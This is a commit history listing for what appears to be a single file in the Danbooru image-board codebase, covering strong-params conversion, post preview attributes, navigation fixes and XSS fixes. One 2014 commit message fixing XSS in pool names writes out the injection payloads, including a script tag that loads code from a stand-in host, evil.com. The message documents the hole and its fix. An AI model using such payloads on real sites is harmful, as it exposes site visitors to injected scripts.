Commit Graph

160 Commits

Author SHA1 Message Date
Albert Yi
d9d98f05c2 Merge branch 'rails-5.1' 2018-04-11 11:40:36 -07:00
Albert Yi
485c3b01c7 add uploader-id and top-tagger-id data attrs to post previews 2018-04-09 11:12:07 -07:00
r888888888
abce4d2551 Raise error on unpermitted params.
Fail loudly if we forget to whitelist a param instead of silently
ignoring it.

misc models: convert to strong params.

artist commentaries: convert to strong params.

* Disallow changing or setting post_id to a nonexistent post.

artists: convert to strong params.

* Disallow setting `is_banned` in create/update actions. Changing it
  this way instead of with the ban/unban actions would leave the artist in
  a partially banned state.

bans: convert to strong params.

* Disallow changing the user_id after the ban has been created.

comments: convert to strong params.

favorite groups: convert to strong params.

news updates: convert to strong params.

post appeals: convert to strong params.

post flags: convert to strong params.

* Disallow users from setting the `is_deleted` / `is_resolved` flags.

ip bans: convert to strong params.

user feedbacks: convert to strong params.

* Disallow users from setting `disable_dmail_notification` when creating feedbacks.
* Disallow changing the user_id after the feedback has been created.

notes: convert to strong params.

wiki pages: convert to strong params.

* Also fix non-Builders being able to delete wiki pages.

saved searches: convert to strong params.

pools: convert to strong params.

* Disallow setting `post_count` or `is_deleted` in create/update actions.

janitor trials: convert to strong params.

post disapprovals: convert to strong params.

* Factor out quick-mod bar to shared partial.
* Fix quick-mod bar to use `Post#is_approvable?` to determine visibility
  of Approve button.

dmail filters: convert to strong params.

password resets: convert to strong params.

user name change requests: convert to strong params.

posts: convert to strong params.

users: convert to strong params.

* Disallow setting password_hash, last_logged_in_at, last_forum_read_at,
  has_mail, and dmail_filter_attributes[user_id].

* Remove initialize_default_image_size (dead code).

uploads: convert to strong params.

* Remove `initialize_status` because status already defaults to pending
  in the database.

tag aliases/implications: convert to strong params.

tags: convert to strong params.

forum posts: convert to strong params.

* Disallow changing the topic_id after creating the post.
* Disallow setting is_deleted (destroy/undelete actions should be used instead).
* Remove is_sticky / is_locked (nonexistent attributes).

forum topics: convert to strong params.

* merges https://github.com/evazion/danbooru/tree/wip-rails-5.1
* lock pg gem to 0.21 (1.0.0 is incompatible with rails 5.1.4)
* switch to factorybot and change all references

Co-authored-by: r888888888 <r888888888@gmail.com>
Co-authored-by: evazion <noizave@gmail.com>

add diffs
2018-04-06 18:09:57 -07:00
Albert Yi
6c790c61d3 replace uploader information post previews and comment listing, rename tagger to top tagger 2018-03-27 10:49:41 -07:00
evazion
41a4ff15cd posts: remove unused file path / url methods.
* Remove file_path_for, cropped_file_url (dead code)
* Remove complete_preview_file_url (preview_file_url now returns absolute links)
* Remove `file_name` (only used for Download link in sidebar)
2018-03-20 19:49:55 -05:00
Albert Yi
850ac353ed Merge pull request #3399 from BrokenEagle/fix-gold-safemode-message
Changed safe mode error message for Gold+ users
2017-12-13 14:26:50 -08:00
BrokenEagle
839f0f653f Changed safe mode error message for Gold+ users
- Made explicit the error messages and their order
- Banned takes priority, then Gold+, then Safe
- Made the groups exclusive of each other
2017-12-05 19:08:01 -08:00
evazion
aeb24b6253 Fix "Similarity: %98" -> "Similarity: 98%". 2017-11-25 16:50:12 -06:00
r888888888
70e592e823 round similarity score on post presenter 2017-11-21 10:25:12 -08:00
r888888888
42c9c71a5f fixes #3306 2017-11-17 14:29:59 -08:00
BrokenEagle
6838901aac Moved non-config tag category info to its own class 2017-11-07 16:21:29 -08:00
BrokenEagle
1e5540f3a0 Moved most of the tag category config logic to the config file
-Fixed an unused Post class method (fix_post_counts) that didn't have a parameter
2017-11-06 15:27:54 -08:00
r888888888
7ba7458897 fix syntax error 2017-09-12 15:43:47 -07:00
r888888888
4fb55657c0 refactor cropped images into explore/posts/intro 2017-09-12 13:03:59 -07:00
r888888888
68863ed018 fixes #3287 2017-09-08 15:01:12 -07:00
r888888888
63f7edd0c6 add toggle for testing cropped thumbnails 2017-09-06 17:02:43 -07:00
evazion
40e006f7cb Fix keyboard navigation in pools (#3238).
Don't display the search navigation bar when browsing pools. Doing so
breaks the A/D keyboard shortcuts because the search navigator takes
precedence over the pool navigator.

https://danbooru.donmai.us/forum_topics/9127?page=195#forum_post_134297
2017-08-04 19:28:36 -05:00
Albert Yi
05a25a6baf Merge pull request #3239 from evazion/fix-md5-leaks
Fix censored post exposures in data attributes / legacy API (#3237)
2017-07-26 17:09:18 -07:00
evazion
f2bf756422 Fix hidden attribute leaks in data attributes (#3237). 2017-07-24 20:35:12 -05:00
evazion
0129891213 Fix #1156: Allow sequential search navigator to work without a search. 2017-07-24 19:30:30 -05:00
evazion
1b310dcc0b Post#expunge!: fix remove_from_all_pools to clear deleted pools.
* Change Post#pools to return all pools, including deleted pools. This
  fixes remove_all_from_pools to remove the post from deleted pools too.

* Change other users of Post#pools to explicitly select undeleted pools.
2017-07-21 00:13:20 -05:00
evazion
4c61e547b9 posts: add data-is-favorited attribute to thumbnails. 2017-05-23 11:53:04 -05:00
evazion
a3db5ba346 post replacement: move presenter methods to post_replacement.rb. 2017-05-17 00:14:41 -05:00
evazion
d40da8c5c9 post replacement: leave a system comment after replacement. 2017-05-05 16:10:43 -05:00
r888888888
19a82bde30 fix syntax error 2017-03-22 14:24:06 -07:00
evazion
d1debecd0b Fix XSS in post thumbnail data attributes. 2017-03-21 17:17:19 -05:00
evazion
2051981170 When merging artcomms, list source as html page url, not image url. 2017-03-16 18:09:59 -05:00
evazion
b80976bce7 modqueue: link tags, like they are in /comments. 2017-02-24 21:03:14 -06:00
r888888888
27264501e0 disable tag backlinking on posts for anon users (helps with web crawlers) 2016-06-14 12:14:10 -07:00
r888888888
a90750f5e1 add tags to post file urls 2016-05-23 12:10:06 -07:00
r888888888
2dd4b4cbff add schema.org metatags 2016-02-09 14:02:47 -08:00
r888888888
cbe627b01a fixes #2494: Twitter bookmarklet: support uploading video 2015-08-27 14:56:25 -07:00
r888888888
ef59ae8886 enable audio for videos #2499 2015-08-26 13:54:34 -07:00
r888888888
86f0db5912 fixes #2488: Pool gallery has pools missing from the list 2015-08-13 11:46:09 -07:00
r888888888
cc6da3ff89 fixes #2454: Add a new popular posts page for view counts 2015-07-24 15:56:41 -07:00
Toks
9c70b69d28 fixes #2422 2015-06-29 15:01:41 -04:00
Toks
c2530e9e53 Allow A/D shortcuts for browsing favgroups 2015-06-25 10:29:59 -04:00
Toks
04fa5596e2 Favorite groups 2015-06-23 15:25:54 -04:00
Toks
b60098044b Fix error on flag/appeal page if a post is expunged 2015-06-20 12:50:57 -04:00
r888888888
6704c21fdb fixes #2351 2015-02-27 16:31:07 -08:00
r888888888
f12fb40e3e implements #2350 2015-02-20 20:04:23 -08:00
Toks
d84f263641 fix broken links 2014-11-10 17:15:36 -05:00
r888888888
3aa0ee2a75 hide ugoira preview/video link if it hasn't finished processing 2014-10-28 11:30:02 -07:00
r888888888
4c73fb9f79 add ugoira support in view 2014-10-19 02:30:02 -07:00
evazion
22c624c356 Fix XSS in pool names in /pools/gallery page.
1) Set a pool name to '<script>alert("xss")</script>'.
2) Wait for people to view it in /pools/gallery.

At first glance the fact that the pool name is truncated to 80 chars
appears to limit how much can be done in the exploit. This poses no
problem though, since someone could inject '<script src="http://www.evil.com/evil.js"></script>' instead.
2014-10-17 13:10:54 -05:00
Toks
4b4e3dc87b #2245 Display more of title
originally from commit 719343cea5
2014-09-20 15:28:03 -04:00
r888888888
5c22d8753f Revert "make pool gallery the default view"
This reverts commit 719343cea5.
2014-09-05 22:26:47 -07:00
r888888888
719343cea5 make pool gallery the default view 2014-09-05 16:27:19 -07:00
r888888888
267df896c6 fixes #2245 2014-08-25 16:41:27 -07:00
Toks
0682a0db63 fixes #2247 2014-08-22 16:06:09 -04:00